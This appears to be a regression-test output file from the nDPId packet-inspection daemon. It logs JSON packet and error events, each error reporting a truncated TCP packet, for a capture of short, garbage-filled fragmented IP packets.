-00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995323} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995339} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995351} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995391} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995419} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995432} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995445} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995458} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995470} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":7628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995484} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995497} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995522} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995534} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995547} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995560} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995572} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995585} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995597} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995610} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995630} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995647} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995659} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995672} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995684} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995697} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995722} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995735} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995747} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995763} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995775} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995788} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995800} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995813} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995840} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995853} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995866} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995878} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031995892} 